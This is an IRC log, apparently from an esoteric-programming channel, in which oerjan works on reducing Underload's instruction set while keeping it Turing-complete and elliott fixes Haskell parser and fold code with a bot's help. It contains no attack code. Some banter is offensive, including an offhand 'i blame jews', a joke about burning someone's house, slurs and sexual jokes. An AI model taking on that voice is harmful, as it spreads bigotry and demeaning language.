22:30:43 -!- elliott has quit (Read error: Connection reset by peer).
22:31:08 -!- elliott has joined.
22:31:20 -!- pikhq_ has quit (Ping timeout: 240 seconds).
22:31:31 -!- pikhq has joined.
22:33:42 <oerjan> hm actually only ~ is difficult, which means it's just a matter of using the already know removal of that _first_
22:33:44 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:33:50 <oerjan> *known
22:34:16 <elliott> All GCC ports for the following operating systems have been declared obsolete:
22:34:16 <elliott> BeOS (*-*-beos*)
22:34:18 <elliott> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
22:34:21 <elliott> Miscellaneous System V (*-*-sysv*)
22:34:24 <elliott> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
22:34:56 <elliott> oerjan: so do you think that :()^ might be TC?
22:35:00 <elliott> that seems highly unlikely to me
22:35:05 <oerjan> elliott: i doubt that too
22:35:06 -!- Zuu has quit (Ping timeout: 260 seconds).
22:35:16 <elliott> oerjan: is that not what you are trying to prove? or do ou mean that :a()^ might be?
22:35:16 <oerjan> just have no actual proof yet
22:35:18 <elliott> *do you
22:35:20 <elliott> or whatever
22:35:58 <oerjan> elliott: currently i'm trying to prove that :*()a^ is
22:36:24 <oerjan> i spoke to soon above, i'd somehow missed listing *
22:36:26 <oerjan> *too
22:36:30 <elliott> oerjan: does your ! removal involve ~?
22:36:38 <elliott> because if not, you could just use your existing ~ expansion obviously
22:37:05 <oerjan> elliott: the new one _looked_ like it wouldn't, :!()a^ don't seem to require ~
22:37:24 <elliott> oerjan: then you're sorted, aren't you
22:37:27 <elliott> replace ~ with your expansion
22:37:28 <elliott> apply ! removal
22:37:33 <oerjan> the old one used ~ all over the place, in the form of ais523's ~a*^
22:37:49 <oerjan> elliott: i'm still missing *, i'm telling you
22:38:04 <elliott> oerjan: i'm talking about :*()a^
22:38:50 -!- elliott has quit (Quit: Leaving).
22:38:55 -!- elliott has joined.
22:38:59 <elliott> <elliott> oerjan: i'm talking about :*()a^
22:39:02 <oerjan> yes, i need to implement * in the same transformation.
22:39:24 <oerjan> note that the instructions are not implemented as _exact_ equivalents, only ~ can be done that way
22:39:41 -!- zzo38 has quit (Remote host closed the connection).
22:40:05 <elliott> oerjan: ofc
22:40:06 <oerjan> instead my idea is to have a stack which looks like this: (junk)(a)(junk)(b)(junk)
22:40:34 <oerjan> and then implement each instruction in such a way that it ignores the junk
22:40:58 <oerjan> (S can only be approximately, naturally)
22:41:02 <elliott> hey oerjan, can i rename [[BF instruction minimalization]] to [[BF instruction minimalisation]], mr. wiki admin
22:41:24 <oerjan> ...
22:41:27 <elliott> :D
22:41:33 <elliott> <oerjan> FFFFFFUUUUUUUUUUUUUUUUUUU
22:42:56 <Gregor> oerjan: DON'T DO IT
22:43:23 <oerjan> actually my recent FFFFFFUUUUUUUUUUUUUU is that FFFFFUUUUUUUUU is now on the reddit default top menu of reddits, and _all_ the slightly scientific subreddits have been shifted out. at this rate i might have to make an actual account ;(
22:43:35 <elliott> it's 7/12
22:43:37 <elliott> F7U12
22:43:42 <elliott> GET IT RIGHT unlike me
22:43:53 <elliott> oerjan: call your account oerjan, nobody will ever suspect
22:44:03 <elliott> heh that's actually free
22:44:16 <oerjan> i know it's a specific number, i couldn't be bothered
22:44:22 <oerjan> yay
22:44:33 <elliott> yes, yay, i can totally STALK YOU ON REDDIT now!
22:44:55 <elliott> there should be a button to unsubscribe from all the default reddits :p
22:45:00 <oerjan> i'll make a different account for my wet furry porn subreddits, of course
22:45:09 <elliott> darn
22:45:50 * elliott contemplates `addquote <oerjan> i'll make [...] wet furry porn[...], of course
22:47:01 <cheater00> hi
22:47:03 <oerjan> FEEL FREE
22:47:11 <elliott> hmm I wonder if Joy was the first notable concatenative language after Forth?
22:48:05 <elliott> "To facilitate the comparison between the two languages it is also possible to define a w == [dup] dip Then the square of 3 is also computed in Joy by
22:48:05 <elliott> 3 [*] w"
22:48:06 <elliott> wait what...
22:48:09 <elliott> surely w == [dup] dip i
22:48:29 <oerjan> it's actually obvious that no matter how i go about it, i can just drop the already known way to reduce ~ away in. unfortunately i may have to use it indirectly for * as well.
22:48:31 <cheater00> nice, found a br*infuck interpreter for TECO
22:48:34 <elliott> heh i wonder if you can do currying in concatenative languages.
22:48:44 <elliott> (as in, sanely)
22:49:02 <oerjan> elliott: certainly, ((a)(b)) is a tuple
22:49:12 <elliott> oerjan: oh, i mean more Joy than Underload
22:49:17 <elliott> oerjan: as in, instead of
22:49:18 <elliott> 3 3 *
22:49:24 <elliott> 3 * 3 swap call
22:49:25 <elliott> or something
22:49:29 <elliott> except that's gros
22:49:30 <elliott> *gross
22:49:31 <elliott> obviously
22:50:33 <oerjan> (x)(y)z = (y)a(z)*(x)~^
22:50:42 <elliott> oerjan: dammit i am aware okay :D
22:50:47 <elliott> that you can, physically do it
22:50:58 <elliott> i mean, could you base a language around it without it being as gross as above
22:51:19 <oerjan> well you can also do
22:51:19 -!- elliott has quit (Read error: Connection reset by peer).
22:51:26 <oerjan> ((y)z)(x)~^
22:51:37 -!- elliott has joined.
22:51:50 <oerjan> <oerjan> well you can also do
22:51:54 <oerjan> <oerjan> ((y)z)(x)~^
22:52:01 <elliott> yes yes yes :P
22:52:30 <oerjan> (x)~^ is practically an idiom in underload, it's nice for lists
22:53:05 <oerjan> ((x1)~^(x2)~^...(xn)~^) gives you an iterable list, and you _don't_ need to know the length in advance
22:53:56 <oerjan> the disadvantage being you also cannot stop early (although you can of course ignore the later ones)
22:55:38 <oerjan> ^ul (junk)(a)(junk)a(*)**a((junk))(~aS:^):^
22:55:38 <fungot> ((junk))((a(junk)*))(junk) ...out of stack!
22:55:54 <oerjan> oh wait i hadn't finished righting it
22:56:19 <oerjan> that's supposed to become :
22:58:41 <oerjan> ^ul (junk)(b)(junk)a(*)**a((junk))*:*^(~aS:^):^
22:58:41 <fungot> (junk)(b(junk)*)(junk)(b(junk)*)(junk) ...out of stack!
22:58:56 <oerjan> that's better
23:00:05 <oerjan> ^ul (junk)(b)(junk)**(~aS:^):^
23:00:05 <fungot> (junkbjunk) ...out of stack!
23:00:08 <oerjan> that's !
23:00:26 <cheater00> sup oerjan
23:00:47 <oerjan> cheater00: finding out how to eliminate ~ and ! from underload simultaneously
23:00:59 <cheater00> what be underload?
23:01:06 <oerjan> http://esolangs.org/wiki/Underload
23:01:55 <oerjan> ais523's elegant language - and _still_ some of its instructions are redundant for TC-ness
23:02:32 <oerjan> ^ul (junk1)(b)(junk2)a(*)**a(junk3)(~aS:^):^
23:02:32 <fungot> (junk3)((b(junk2)*))(junk1) ...out of stack!
23:03:05 <oerjan> hm that's wrong
23:03:50 <oerjan> oh
23:04:20 <oerjan> ^ul (junk1)(b)(junk2)a*a(junk3)(~aS:^):^
23:04:20 <fungot> (junk3)((b(junk2)))(junk1) ...out of stack!
23:04:23 <elliott> ^ul ((x1)~^(x2)~^(x3)~^)(S)~^
23:04:23 <fungot> x1 ...out of stack!
23:04:44 <elliott> ^ul ((x1)~^(x2)~^(x3)~^)((~S):^)~^
23:04:45 <fungot> x1 ...out of stack!
23:04:54 <oerjan> you need to apply to something self-replicating
23:04:57 <elliott> i tried
23:04:58 <elliott> see last attempt
23:06:02 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)(S:)~(S:)~
23:06:09 <oerjan> ...apparently not
23:06:11 <cheater00> oerjan: http://www.ee.ryerson.ca/~elf/hack/academic.html
23:06:17 <oerjan> oh
23:06:20 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)(S:)~(S:)~^
23:06:20 <fungot> x1x2x3
23:07:19 <elliott> oerjan: hmm can you rebuild the list that way?
23:07:28 <oerjan> sure
23:07:39 <olsner> wtf, how did my server end up in runlevel "unknown"?
23:07:57 <elliott> lol, init
23:08:30 <olsner> they do still use init though, I hope? because I just told init to go to runlevel 3 :)
23:08:50 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~((a(~^)*)~a*^:^):^(~aS:^):^
23:08:54 <elliott> well i dunno how it works with this upstart crap.
23:08:55 <fungot> ...out of time!
23:08:58 <oerjan> huh
23:09:03 <oerjan> oh duh
23:09:43 <Sgeo> Peppermint One's bootloader or whatever looks suspiciously like Ubuntu's
23:10:12 <cheater00> oerjan
23:10:14 <cheater00> i have a question
23:10:30 <cheater00> i need you to help me decide upon a possibility in the near time
23:10:39 <cheater00> should i spider the whole of ftp://publications.ai.mit.edu/ or not
23:10:54 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~(((a(~^)*)~a*^a(:^)*):^)~^(~aS:^):^
23:10:54 <fungot> (((a(~^)*)~a*^a(:^)*):^)((x3)~^)((x2)~^)((x1)~^)() ...out of stack!
23:11:04 <oerjan> um
23:11:11 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~(((a(~^)~*)~a*^a(:^)*):^)~^(~aS:^):^
23:11:12 <fungot> (((a(~^)~*)~a*^a(:^)*):^)(~^(x3))(~^(x2))(~^(x1))() ...out of stack!
23:11:24 <oerjan> duh
23:11:31 <elliott> argh, what's the "proper" way to make parsec ignore whitespace again...
23:11:31 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~(((a(~^)**)~a*^a(:^)*):^)~^(~aS:^):^
23:11:31 <fungot> (((a(~^)**)~a*^a(:^)*):^)((x1)~^(x2)~^(x3)~^) ...out of stack!
23:11:36 <oerjan> elliott: there you go
23:11:40 <elliott> oerjan: yay
23:11:49 <elliott> oerjan: now do fold :D
23:11:51 <elliott> although
23:11:53 <elliott> i guess that is a fold
23:11:57 <elliott> just a specialised one :D
23:12:11 -!- iconmaster has quit (Quit: Get out of that boring IRC client! It's no good for you. Bersirc 2.2 is your answer! [ http://www.bersirc.org/ - Open Source IRC ]).
23:12:14 <oerjan> cheater00: you do _not_ need my help on that, no.
23:12:24 <cheater00> b-but
23:12:42 <oerjan> since i have absolutely no expertise in the matter
23:12:52 <elliott> oerjan: is responding to cheater00's inanity really a productive use of time
23:12:54 <oerjan> elliott: indeed
23:12:56 * elliott says that as an expert timewaster
23:13:08 <oerjan> elliott: um that was to your fold comment
23:13:13 <elliott> oerjan: i realised
23:13:16 <elliott> you're not /that/ fast at typing
23:13:42 <oerjan> YOU DON'T SAY
23:13:47 * Phantom_Hoover → sleep
23:14:01 -!- Phantom_Hoover has quit (Remote host closed the connection).
23:14:02 <cheater00> elliott: he typed it in a flash of omnipotent understanding of the universe, which made his thought and action ten thousand times faster.
23:14:23 <oerjan> hm actually a(:^)* is no shorter than :a~*
23:14:35 <oerjan> ^ul ((x1)~^(x2)~^(x3)~^)()~(((a(~^)**)~a*^:a~*):^)~^(~aS:^):^
23:14:35 <fungot> (((a(~^)**)~a*^:a~*)(a(~^)**)~a*^:a~*)((x1)~^(x2)~^(x3)~^) ...out of stack!
23:15:15 <cheater00> oerjan: i'm not sure why you're still concerned with character-based languages. everyone knows that the graphics are the future: http://www.archive.org/details/AlanKeyD1987
23:16:28 <oerjan> elliott: also, spaces
23:16:34 <elliott> i know _that_
23:16:38 <elliott> it's lexeme i'm thinking of i think
23:16:46 <oerjan> and lexeme
23:17:00 <elliott> which appears to not be in parsec 3.
23:17:07 <elliott> oh it's in .Token I think
23:17:20 <elliott> Couldn't match expected type `GenTokenParser s u m'
23:17:20 <elliott> against inferred type `Parser String'
23:17:21 <elliott> s i g h
23:18:00 <oerjan> elliott: i have a slight amount of goodwill and patience, which is sometimes use. although i think his last comment crossed the line a bit.
23:18:06 <oerjan> *i sometimes
23:18:17 <elliott> goodwill and pati... sorry, i understand neither of these word
23:18:18 <elliott> *words
23:18:23 <elliott> can i set things on fire now?
23:18:30 <oerjan> O KAY
23:18:45 <elliott> like your house!! very pretty!! ... needs more fire!
23:18:47 <oerjan> (I'M SHOWING SOME GOODWILL HERE, TO DEMONSTRATE)
23:19:03 <elliott> :t lex
23:19:04 <lambdabot> String -> [(String, String)]
23:19:05 <elliott> huh
23:19:12 <elliott> > lex "AXIOMATA DECANT"
23:19:12 <lambdabot> [("AXIOMATA"," DECANT")]
23:19:15 <elliott> heh
23:20:07 <oerjan> FAIL
23:20:19 <oerjan> oh wait
23:20:25 <oerjan> it of course takes only one
23:20:38 <oerjan> it's for ReadS parsing
23:21:31 <oerjan> aren't Parser and GenTokenParser compatible?
23:21:42 * Sgeo decides he wants to try Zenwalk
23:22:12 -!- FireFly has quit (Quit: swatted to death).
23:22:13 <elliott> oerjan: nah
23:22:15 <elliott> it's for the "language" stuff
23:22:17 <elliott> that nobody uses
23:22:29 <oerjan> in old parsec Parser is just a type synonym for GenParser Char ()
23:22:47 <elliott> @pl let f _ [] = id; f e (x:xs) = f e xs . g e x
23:22:47 <lambdabot> (line 1, column 9):
23:22:47 <lambdabot> unexpected "["
23:22:47 <lambdabot> expecting pattern or "="
23:22:51 <elliott> @pl let f _ [] = id; f e (x:xs) = f e xs . g e x in f
23:22:51 <lambdabot> (line 1, column 9):
23:22:51 <lambdabot> unexpected "["
23:22:51 <lambdabot> expecting pattern or "="
23:22:52 <elliott> oh come on
23:23:03 <elliott> :t (>=>)
23:23:04 <lambdabot> forall a (m :: * -> *) b c. (Monad m) => (a -> m b) -> (b -> m c) -> a -> m c
23:23:04 <elliott> :t foldM
23:23:05 <lambdabot> forall a b (m :: * -> *). (Monad m) => (a -> b -> m a) -> a -> [b] -> m a
23:23:10 -!- jayCampbell has quit (Ping timeout: 245 seconds).
23:23:18 <oerjan> elliott: SINCE WHEN DOES @pl DO MULTIPLE CASE PATTERNS
23:23:39 <oerjan> it barely does single ones
23:23:56 <elliott> @hoogle foldM
23:23:56 <lambdabot> Control.Monad foldM :: Monad m => (a -> b -> m a) -> a -> [b] -> m a
23:23:57 <lambdabot> Control.Monad foldM_ :: Monad m => (a -> b -> m a) -> a -> [b] -> m ()
23:23:57 <lambdabot> Data.Foldable foldMap :: (Foldable t, Monoid m) => (a -> m) -> t a -> m
23:23:58 <elliott> oerjan: BLAH BLAH BLAH
23:25:03 <oerjan> elliott: although that is obviously a fold over \x r -> r . g e x
23:25:12 <elliott> oerjan: well yes.
23:25:29 <elliott> if you want to be PEDANTIC about it.
23:26:00 <oerjan> elliott: also you use f e only for the g e part, so you can just as well combine it
23:26:56 <pikhq> "In her will [...] she has asked that her skin be turned into wallets, her feet into umbrella stands, and her flesh into 'Newkirk Nuggets,' then grilled on a barbecue."
23:27:01 <pikhq> Wikipedia on Ingrid Newkirk, founder of PETA.
23:27:06 <pikhq> The *fuck*?
23:27:27 <Sgeo> pikhq, who cares? It's not like she'll need her body after she's dead.
23:28:21 <elliott> indeed :D
23:28:23 <oerjan> :t \e -> foldr (flip (.) . g e) id
23:28:24 <lambdabot> forall t a a1. (SimpleReflect.FromExpr (t -> a1 -> a -> a)) => t -> [a1] -> a -> a
23:28:28 <oerjan> erm
23:28:37 <oerjan> :t \ge -> foldr (flip (.) . ge) id
23:28:38 <lambdabot> forall a a1. (a1 -> a -> a) -> [a1] -> a -> a
23:28:54 <pikhq> Sgeo: Still fucking weird coming from someone morally opposed to any use of animal-bits post-mortem.
23:29:13 <elliott> oerjan: it should probably be a foldl' though
23:29:18 <elliott> pikhq: it's consensual
23:29:26 <elliott> pikhq: it's meant to be, like, satirical.
23:29:30 <elliott> it's still fucking creepy tho
23:30:00 <elliott> :t \(p::[a]) f -> foldl' f [] p
23:30:01 <lambdabot> A pattern type signature cannot bind scoped type variables `a'
23:30:01 <lambdabot> unless the pattern has a rigid type context
23:30:01 <lambdabot> In the pattern: p :: [a]
23:30:04 <elliott> FUCK YOU
23:30:10 <elliott> :t \p f -> foldl' f [] (p :: [a])
23:30:10 <lambdabot> Inferred type is less polymorphic than expected
23:30:11 <lambdabot> Quantified type variable `a' is mentioned in the environment:
23:30:11 <lambdabot> p :: [a] (bound at <interactive>:1:1)
23:30:14 <elliott> :t \p f -> foldl' f [] p
23:30:15 <lambdabot> forall b a. [b] -> ([a] -> b -> [a]) -> [a]
23:30:24 <elliott> :t \f p -> foldl' f [] p
23:30:24 <lambdabot> forall b a. ([a] -> b -> [a]) -> [b] -> [a]
23:30:39 <pikhq> Not that surprising that PETA would have weird, creepy shit like that going on, though. Considering that this is a schizo organisation that is both opposed to killing animals and kills animals.
23:32:36 <oerjan> elliott: i don't think it looks like a foldl' unless you provide the final argument as well
23:32:50 <elliott> run :: Env -> [E] -> ([E] -> [E])
23:32:51 <elliott> oerjan: ^
23:32:57 <elliott> it's basically just repeated application of eval
23:33:02 <elliott> where eval :: Env > E -> ([E] -> [E])
23:33:04 <elliott> repeated composition, rather
23:33:08 <elliott> eval last . eval secondtolast . ...
23:33:37 <oerjan> let f _ [] y = y; f e (x:xs) y = f e xs (g e x y) in f
23:33:54 <oerjan> then it's an "obvious" foldl
23:34:20 <elliott> yeah, it's just that i'm retarded
23:34:30 <oerjan> foldl' (flip (f e)) y
23:34:37 <oerjan> er, *g e
23:34:39 <elliott> Couldn't match expected type `[E] -> [E]'
23:34:39 <elliott> against inferred type `[E]'
23:34:39 <elliott> In the expression: foldl' (flip (eval e)) [] p
23:34:39 <elliott> In the definition of `run': run e p = foldl' (flip (eval e)) [] p
23:34:39 <elliott> Failed, modules loaded: none.
23:34:39 <elliott> beep
23:36:50 <oerjan> boop
23:38:05 <elliott> run e p = foldl' (\f i -> eval e i . f) id p
23:38:06 <elliott> here
23:38:14 <elliott> @pl \f i -> eval e i . f
23:38:14 <lambdabot> flip ((.) . eval e)
23:38:17 <elliott> @pl \i f -> eval e i . f
23:38:18 <lambdabot> (.) . eval e
23:38:31 <elliott> run e = foldl' (flip ((.) . eval e)) id
23:38:47 <elliott> now why does that not do anything...
23:38:52 <elliott> oh
23:38:55 <elliott> parser is broken
23:42:47 <oerjan> ^ul (junk1)(b)(junk2)a(*)**a((junk3))*(junk4)(~aS:^):^
23:42:48 <fungot> (junk4)((b(junk2)*)(junk3))(junk1) ...out of stack!
23:43:32 <oerjan> ok that's the right a i think
23:44:51 <oerjan> ^ul (junk1)((boo!)S(junk2))(junk3)a(*)**^(junk4)(~aS:^):^
23:44:51 <fungot> boo!(junk4)(junk2junk3)(junk1) ...out of stack!
23:44:59 <oerjan> oops
23:45:07 <oerjan> oh
23:45:16 <oerjan> ^ul (junk1)((boo!)S)(junk3)a(*)**^(junk4)(~aS:^):^
23:45:16 <fungot> boo!(junk4)(junk1junk3) ...out of stack!
23:45:51 <elliott> hey oerjan
23:45:53 <elliott> you know what sucks?
23:45:57 <oerjan> ^ul (junk1)((boo!)S)(junk3)a(*)**^(~aS:^):^
23:45:57 <fungot> boo!(junk1junk3) ...out of stack!
23:45:58 <elliott> being unable to use point-free style with pattern-matching
23:46:02 <elliott> conside
23:46:04 <elliott> *consider
23:46:05 <oerjan> that's the one for ^
23:46:13 <elliott> foo (C x) = x+3
23:46:17 <elliott> you should be able to write
23:46:21 <elliott> foo . C = (+3)
23:46:22 <elliott> :D
23:46:34 <oerjan> O_o
23:47:12 <elliott> oerjan: what, that's genius.
23:48:13 <oerjan> O KAY
23:48:47 <oerjan> ever so slightly syntactically ambiguous, though.
23:49:33 <oerjan> hm actually if you know the kinds of constructors you _could_ disambiguate that.
23:49:53 <elliott> oerjan: just wait until you get two argument constructors. then we have to bring out the titties.
23:50:25 <elliott> "Sir, sir! Our constructors have TWO ARGUMENTS!!" "... BRING OUT THE TITTIES." "A...are you sure that's a good idea, sir?!" "THEY'RE OUR ONLY HOPE"
23:51:02 -!- pikhq_ has joined.
23:51:49 -!- pikhq has quit (Ping timeout: 276 seconds).
23:53:51 <Ilari> Okay, finally got specs for SHA-512/224 and SHA-512/256.
23:55:53 <elliott> "The minimum adjustments to the existing environment of Venus to support human life would require three major changes to the planet:
23:55:54 <elliott> Reducing Venus's 450°C (850°F) surface temperature.
23:55:54 <elliott> Eliminating most of the planet's dense 9 MPa (~90 atm) carbon dioxide atmosphere, via removal or conversion to some other form.
23:55:54 <elliott> Addition of breathable oxygen to the atmosphere."
23:55:59 <elliott> To terraform Venus, first, make Venus nothing like Venus.
23:56:06 <Sgeo> WTF
23:56:16 <Sgeo> Who decided that a .torrent.zip made any sense?
23:58:23 * oerjan recalls some suggestion of settling the upper atmosphere of venus with giant airships first, solves two of the problems
23:58:47 <elliott> oerjan: i would _not_ sign up for that :D
23:58:50 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
23:58:59 <oerjan> elliott: IT WOULD BE SAFER THAN ON THE SURFACE
23:59:02 <elliott> "What's the weather like outside?" "Oh, you know... Venusy..."
23:59:11 <elliott> "WE HAVE A RIP!" "Aw feck."
2011-02-21
00:00:30 <elliott> hm one issue with treating integers and other atomic values in a concatenative language as x === [x] is that operations on them don't seem to make sense...
00:00:40 <elliott> as in, you can't look inside a quotation, so how can + look inside its arguments?
00:01:00 <oerjan> hm
00:01:21 <Ilari> SHA-512/224: 8C3D37C819544DA2 73E1996689DCD4D6 1DFAB7AE32FF9C82 679DD514582F9FCF 0F6D2B697BD44DA8 77E36F7304C48942 3F9D85A86A1D36C8 1112E6AD91D692A1 SHA-512/256: 22312194FC2BF72C 9F555FA3C84C64C2 2393B86B6F53B151 963877195940EABD 96283EE2A88EFFE3 BE5E1E2553863992 2B0199FC2C85B8AA 0EB72DDC81C52CA2
00:02:37 -!- poiuy_qwert has joined.
00:05:23 -!- cheater- has joined.
00:05:30 <Ilari> A good bit too much carbon dioxide?
00:07:08 <oerjan> Ilari: irregular webcomic had an annotation the other day mentioning how pre-space probe scientists thought venus might have fizzy oceans
00:07:59 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:09:07 <elliott> hmm and is Joy really homoiconic?
00:09:15 <elliott> in [foo], i don't know if there's an object representing foo, i.e. does joy have symbols?
00:10:49 <elliott> "I can understand the benefit of pulling things like Ioke. I can't understand
00:10:49 <elliott> the benefit of pulling Factor. Unfortunately, you can't write taste into the
00:10:49 <elliott> notability guidelines."
00:10:51 <elliott> Sgeo will be FUMING
00:12:34 <Sgeo> elliott, you're saying that that person likes Factor but dislikes Ioke?/
00:19:12 <elliott> Oh wow, Seph is going to have HOTSWAPPING
00:19:18 <elliott> Maybe Sgeo will be trapped forever
00:19:38 <elliott> Well, kinda.
00:22:40 <elliott> so oerjan, any THEOREMS?
00:23:01 <elliott> <oerjan> Ilari: irregular webcomic had an annotation the other day mentioning how pre-space probe scientists thought venus might have fizzy oceans
00:23:04 <elliott> that's what lead me to the wp article
00:23:29 <elliott> oerjan: also types, not kinds of constructors, presumably
00:27:21 <elliott> ok AH must be an esolanger. it is the only possible explanation.
00:28:59 <Sgeo> ?
00:30:25 <elliott> Sgeo: http://www.mspaintadventures.com/storyfiles/hs2/02026.gif
00:30:38 -!- invariable has changed nick to variable.
00:32:33 <oerjan> elliott: not yet but i suddenly thought maybe it isn't necessary to have junk _between_ all the items, just on top and sometimes inside
00:32:44 <oerjan> which should simplify things
00:32:49 <elliott> oerjan: did devoting just the top stack element to it not work out?
00:33:09 <oerjan> elliott: that works for just removing !
00:33:15 <elliott> ah
00:33:27 <elliott> oerjan: maybe you could transform every stack element into like ((junk)(real stuff))
00:33:28 <elliott> that's just a thought
00:33:39 <elliott> please respond "ooh!"
00:33:40 <elliott> even if you
00:33:42 <elliott> don't think it will help
00:33:45 <elliott> just to make me feel clever
00:33:51 <oerjan> however when you have no ~ it is obvious that you cannot get rid of junk between the elements, so i thought having junk between every element
00:33:55 <elliott> "ooh!"
00:33:56 <elliott> PLEASE
00:33:57 <elliott> *please
00:33:58 <elliott> capslock
00:34:12 <oerjan> elliott: i've already settled on (real stuff(junk)*), more or less
00:34:12 -!- elliott has quit (Read error: Connection reset by peer).
00:34:26 -!- elliott has joined.
00:34:26 <oerjan> also, ooh!
00:34:31 <elliott> oerjan: thank you
00:34:36 <elliott> oerjan: (does it really help)
00:34:39 <elliott> (am i a genius)
00:34:45 <elliott> oh
00:34:47 <elliott> you already settled on it
00:34:49 <elliott> prolly cuz like
00:34:51 <elliott> you're a genius
00:34:58 <elliott> oerjan: hm but that seems inconvenient because it puts junk into your real stuff
00:35:00 -!- augur has quit (Remote host closed the connection).
00:35:12 <oerjan> i need that anyway
00:35:41 <oerjan> when i realized i'm going to have to incorporate junks into the items anyway, i thought maybe i don't need to put any between them on the stack.
00:35:41 -!- elliott has quit (Read error: Connection reset by peer).
00:36:02 -!- elliott has joined.
00:36:03 <oerjan> GET A DAMN CONNECTION
00:36:04 <elliott> fuck this shit
00:36:10 <elliott> oerjan: i blame jews
00:37:03 <oerjan> elliott: ((junk)real stuff) might be nice, but there's no avoiding _some_ at the end
00:37:21 <elliott> oerjan: (real stuff(junk)!) with a ! translation? :P
00:37:35 <oerjan> elliott: * _is_ a ! translation for this purpose
00:37:42 <elliott> oerjan: ah.
00:37:52 <oerjan> the real stuff would already be putting junk on top, after all
00:38:07 <elliott> so underload without : is definitely not TC right? ...not even with a, which gives you the ability to create longer strings? >:D
00:38:24 <elliott> I'm thinking a*()^ here
00:38:31 <oerjan> elliott: yes. :()^ are absolutely essential, you cannot make a non-halting program without all of them
00:38:41 <elliott> WHATEVER YOU SAY, MR. "EXPERT"
00:38:52 <oerjan> : is the only command which grows the _combined_ size of program and stack
00:39:15 <oerjan> (technically you need to count a's at least double)
00:39:17 <elliott> <oerjan> BLAH BLAH BLAH
00:39:23 <elliott> <oerjan> BLAAAAAAAHHHHHHHHHHHHHH
00:39:26 <elliott> <oerjan> SCIENCE LOGIC FACTS
00:39:27 <elliott> <oerjan> SCIENCE LOGIC FACTS
00:39:28 <elliott> <oerjan> SCIENCE LOGIC FACTS
00:39:29 <elliott> <oerjan> SCIENCE LOGIC FACTS
00:39:31 <oerjan> ^ is the only one which doesn't shrink the remaining program
00:39:42 <elliott> why don't you prove a*()^ tc with synchronicity instead :(
00:39:53 <elliott> haha i'm the worst.
00:39:55 <oerjan> and ( is the only one which can usefully start a program
00:40:08 <elliott> huh yeah all underload programs start with ( don't they
00:40:10 <oerjan> elliott: ALL THIS IS EXPLAINED IN MY NEW ARTICLE SECTION
00:40:13 <elliott> that's a FUN FACT
00:40:22 <elliott> we need a FUN FACT database
00:40:23 <oerjan> they must, or crash immediately
00:40:30 <elliott> programs that crash aren't programs
00:40:30 <oerjan> well except the empty program
00:40:32 <elliott> ok technically
00:40:33 <elliott> right yes
00:40:50 <elliott> oerjan: btw the underload article is totally inaccessible now :D
00:41:08 <elliott> summary, command list, unlambda translation, HUGE SECTION OF THEORETICAL CONFUSINGNESS
00:41:12 <elliott> and then examples
00:41:24 <elliott> don't rearrange it, i like it.
00:41:50 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
00:42:26 <oerjan> :´(
00:42:39 <elliott> oerjan: wat
00:42:48 <oerjan> IS NOT INACCESSIBLE
00:42:58 <elliott> SORRY i won't hurt your feelings in the future
00:43:05 * elliott pats the mathematician on the head
00:43:07 <elliott> there there
00:43:10 <oerjan> so you think the examples should be earlier, maybe?
00:43:13 <elliott> it's ok, we won't involve the REAL WORLD.
00:43:17 <elliott> oerjan: hey i _just said_ i liked it :D
00:43:42 <elliott> i mean if i were going for boringness i'd put all the translation and minimisation and stuff on a separate page like bf minimalisation is. but seriously, i like it how it is.
00:43:58 <oerjan> may still happen if it keeps growing
00:44:19 <elliott> oh that's what catamorphism means
00:45:31 <oerjan> hm wait i can drop the junk on top too...
00:45:33 <Sgeo> Zenwalk live boots up SO SLOWLY
00:45:44 <oerjan> just incorporate it as well
00:45:46 -!- augur has joined.
00:46:01 <elliott> oerjan: nooo
00:46:02 <elliott> no dropping
00:46:04 <elliott> and junking
00:46:05 <elliott> i likes it
00:46:10 <elliott> i defend article to death
00:46:58 <oerjan> but but ... with that change i can actually keep most of the instructions identical!
00:48:07 <oerjan> hah everything except ~ and ! in fact
00:48:28 <Sgeo> The Zenwalk people never heard of that rule whose name I can't remember
00:48:32 <oerjan> and ! becomes the a(*)** subroutine which i was using all over the place
00:48:49 <elliott> oerjan: oh wait
00:48:52 <elliott> drop the junk on top in the underload
00:48:54 <oerjan> and now it's so simple i don't need to optimize the expression for ~ any more
00:48:56 <elliott> not from the article :D
00:49:00 <oerjan> elliott: XD
00:49:20 -!- zzo38 has joined.
00:49:30 <zzo38> Is there any chess variant on Rubik's cube?
00:49:35 <oerjan> ok now the transformation becomes super-simple
00:49:58 <oerjan> oh wait fuck
00:50:04 <elliott> oerjan: thought that was too easy to be true.
00:50:09 <elliott> you're never that happy.
00:50:18 <oerjan> the a(*)** subroutine _depends_ on there being junk on top :(
00:50:23 <elliott> *hugs*
00:50:24 <elliott> everything is ok.
00:50:28 <oerjan> hm but if i _quine_ it...
00:50:50 <oerjan> *MWAHAHA*
00:50:51 <elliott> hey oerjan how does it feel devoting this much time to an imperative language. ok that's not fair, it's pure if you ignore S.
00:50:53 <elliott> ok so it's not exactly pure
00:50:56 <elliott> but like
00:50:58 <elliott> it's functional
00:51:06 <oerjan> UNDERLOAD IS THE PUREST OF THE PURE
00:51:18 <elliott> technically the stack paradigm isn't pure, but the concatenative way it is viewed by the cool people (program is function from stack to stack) is pure.
00:51:25 <elliott> and the typical programming style is very functional and pure.
00:53:00 <oerjan> ok plan now: implement the replacement for ! such that it incorporates the deleted element as junk at the end of the previous one, _plus_ itself
00:53:33 <oerjan> that way when the combined element is run, the inner ! will reiterate the process
00:53:42 <elliott> oerjan: it's so fun watching you monologue :D
00:53:44 <elliott> thought you should know
00:53:48 <elliott> i bet half the channel is watching
00:53:53 <oerjan> *MWAHAHAHA*
00:54:04 <elliott> is that mathematician for "[embarrassment]"?
00:54:15 <zzo38> I watch, but maybe I watch late
00:54:36 <oerjan> elliott: i _was_ sort of assuming at least you wanted to watch
00:54:42 <elliott> i do :P
